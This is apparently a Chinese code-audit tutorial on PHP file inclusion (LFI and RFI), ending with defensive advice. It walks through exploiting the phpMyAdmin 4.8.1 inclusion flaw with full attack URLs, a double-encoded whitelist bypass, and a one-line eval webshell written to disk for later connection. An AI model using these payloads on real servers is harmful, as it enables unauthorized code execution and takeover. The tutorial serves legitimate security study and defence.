代码审计--文件包含

简介: 代码审计--文件包含

1.文件包含定义


攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。

(注:包含的文件会被当成脚本文件来解析)


文件包含本身并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。


包含文件本身很有用,可以简化代码。


2.分类


2.1. 本地文件包含


包含服务器上的资源

叫做 LFI(local file inclusion)


2.2. 远程文件包含


通过http协议包含其他地方的资源,

例如:require(‘http://59.63.200.79:8010/1.txt’);

叫做:RFI(remote file inclusion)

默认不开启,需要allow_url_include = On


2.2.1. 开启


php-ini 中 allow_url_include = on


配置完需重启一下 apache



3.PHP函数


3.1. include


使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行


3.1.1. 示例


在 1.txt 中输入 phpinfo();

在 index.php 中写入 include('1.txt');


访问本地





3.1.2.


当在 index.php 中写入include('2.txt');时会报错


不存在2.txt

不会影响代码往下执行




3.2. require


在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最后按新的php文件执行程序代码


3.2.1.


将include替换为require


123不再输出,出现问题后不再往下执行



3.2.2.


将1.txt重命名为1.jpg仍能当作php执行


不在乎后缀



3.3.  include_once与require_once


与前两个类似,区别在于被包含过了,就不会再被包含


4.相对路径与绝对路径


4.1. 相对路径的使用


../../../文件名


C盘下有一个名为flag.jpg的图片马



刷新页面



传参 /?a=phpinfo(); 成功执行



已经可以连接菜刀了


如果想要写一个马进去,


传参/?a=file_put_contents(‘8.php’,’’);


4.2.绝对路径


开头带盘符


C:/flag.jpg


4.3.小知识


Cmd中


4.3.1.cd ../


跳到上级目录



4.3.2. cd 文件夹名


跳到该文件夹



4.3.3. php中


在php中这样写

http://192.168.19.131/lfi/2.php?a=qweqweqwe/../../../phpstudy/WWW/lfi/1.txt


也是可以找到需要的文件的,

因为qweqweqwe在相对路径情况下,会被理解成是一个文件夹



但在php不可以写一些特殊字符来进行传参


如传参?a=@#hiohio*os$%^^$/../../1.txt


4.4.文件包含需要传参时


加&

可以写

http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();


5.漏洞复现


5.1.环境


phpMyAdmin4.8.1

非常常见



5.2.代码审计


5.2.1.


Seay中直接搜索include,发现漏洞




5.2.1.1.


Include $_REQUEST[‘target’]执行条件




  1. 传参不为空
  2. 传入的target要是一个字符串
  3. 不能为/index/开头
  4. 不在$target_blacklist数组中
     传参不能出现 import.php export.php



  5. 满足Core类中的checkPageValidity函数
    ::类的方法


5.2.2. checkPageValidity函数


需要$page在$whitelist数组中,才能返回true



5.2.3. $whitelist



5.2.4. $goto_whitelist



5.2.5.


其中当遇到问号时,会进行截断




5.2.6. 小知识


Get传参会默认一次url解码


5.2.7. Urlcode()函数


进行一次url解码



5.3. 登录


账号密码root



5.4. 新建数据库





5.5.


在表中写入一句话木马


5.5.1.


在名字处写入后点击保存



5.5.2.查看结构



5.6.回到index目录



5.7.构造攻击


?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=phpinfo();

db_sql.php为白名单中内容

zzy为前面新建的数据库名,yy.frm为表名



5.8.写入木马


?target=db_sql.php%253f../../../../../../../phpstudy/MySQL/data/zzy/yy.frm&a=file_put_contents(‘xyy.php’,’<?php @eval($_REQUEST["hack"]); ?>’);





5.9.


访问 xyy.php?hack=phpinfo();

成功



5.10.连接菜刀



5.11.其他


将代码从word复制到url栏时,一些符号会转换为中文


6.防御


  1. 无需情况下设置allow_url_include和allow_url_fopen为关闭
  2. 对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的open_basedir
  3. 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括     服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
  4. 严格检查include类的文件包含函数中的参数是否外界可控。

相关文章
|
5月前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
11月前
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
304 0
|
11月前
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
124 0
|
11月前
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
75 0
|
11月前
|
安全 Unix Shell
PHP代码审计(四)PHP文件操作函数(1)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
72 0
|
11月前
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
1137 0
|
6月前
|
PHP
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)
|
11月前
|
XML 开发框架 .NET
代码审计之PHP基础铺垫
代码审计之PHP基础铺垫
89 0
|
11月前
|
小程序 Shell PHP
PHP代码审计(四)PHP文件操作函数(3)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
54 0
|
11月前
|
SQL 小程序 Shell
PHP代码审计(三)php中代码执行&&命令执行函数
string system(string command,int &return_var) 可以用来执行系统命令并直接将相应的执行结果输出 system() 输出并返回最后一行shell结果。
92 0